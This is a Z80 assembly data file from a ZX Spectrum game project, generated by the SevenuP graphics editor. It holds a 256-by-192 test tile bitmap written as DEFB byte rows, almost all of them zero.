| 33.888889 | 191 | 0.590164 |
9180361727969ab249ea2bcbbdd96c7f79b07b41 | 29,496 | asm | Assembly | artwork/tiles_test.asm | fjpena/sword-of-ianna-zx | fdd6bdb5775933756e75402a7c6be80d5334702d | [
"Apache-2.0"
] | 67 | 2017-10-07T18:48:05.000Z | 2022-02-01T20:37:40.000Z | artwork/tiles_test.asm | fjpena/sword-of-ianna-zx | fdd6bdb5775933756e75402a7c6be80d5334702d | [
"Apache-2.0"
] | null | null | null | artwork/tiles_test.asm | fjpena/sword-of-ianna-zx | fdd6bdb5775933756e75402a7c6be80d5334702d | [
"Apache-2.0"
] | 9 | 2017-10-06T21:02:55.000Z | 2022-01-06T03:11:58.000Z | ; ASM source file created by SevenuP v1.21
; SevenuP (C) Copyright 2002-2007 by Jaime Tejedor Gomez, aka Metalbrain
;GRAPHIC DATA:
;Pixel Size: (256, 192)
;Char Size: ( 32, 24)
;Sort Priorities: X char, Char line, Y char
;Data Outputted: Gfx
;Interleave: Line
;Mask: No
tiles_test:
DEFB 0, 0,255, 7, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,170, 43,248, 15, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,212, 81,215,223, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,160, 35,239, 91, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,194, 1,171,181, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,165, 35, 6,128, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,194, 5,160, 42, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,128, 11, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 1, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 65, 11, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 8, 33, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,128, 67, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 4, 1, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,137, 11, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 64, 23, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0,171,255, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
DEFB 0, 0, 0, 0, 0, 0, 0, 0
